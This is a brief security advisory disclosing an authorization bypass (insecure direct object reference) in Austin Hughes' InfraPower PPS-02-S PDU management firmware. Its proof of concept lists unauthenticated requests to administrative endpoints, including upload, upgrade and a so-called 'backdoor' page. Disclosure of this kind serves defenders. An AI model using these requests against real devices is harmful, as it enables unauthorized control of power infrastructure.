InfraPower PPS-02-S Q213V1 Insecure Direct Object Reference Authorization Bypass

### Summary InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is a highly efficient cient application for saving not only the IP remote accessories cost, but also the true IP addresses required on the PDU management. ### Description Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources and functionalities in the system directly, for example APIs, files, upload utilities, device settings, etc. ### Vendor Austin Hughes Electronics Ltd. - http://www.austin-hughes.com ### Affected Version * Q213V1 (Firmware: V2395S) ### Tested On * Linux 2.6.28 (armv5tel) * lighttpd/1.4.30-devel-1321 * PHP/5.3.9 * SQLite/3.7.10 ### PoC ``` GET /ConnPort.php GET /CSSSource.php GET /dball.php GET /doupgrate.php GET /IPSettings.php GET /ListFile.php GET /Menu.php GET /Ntp.php GET /PDUDetails_Ajax_Details.php GET /PDULog.php GET /PortSettings.php GET /production_test1.php ("backdoor") GET /UploadEXE.php ```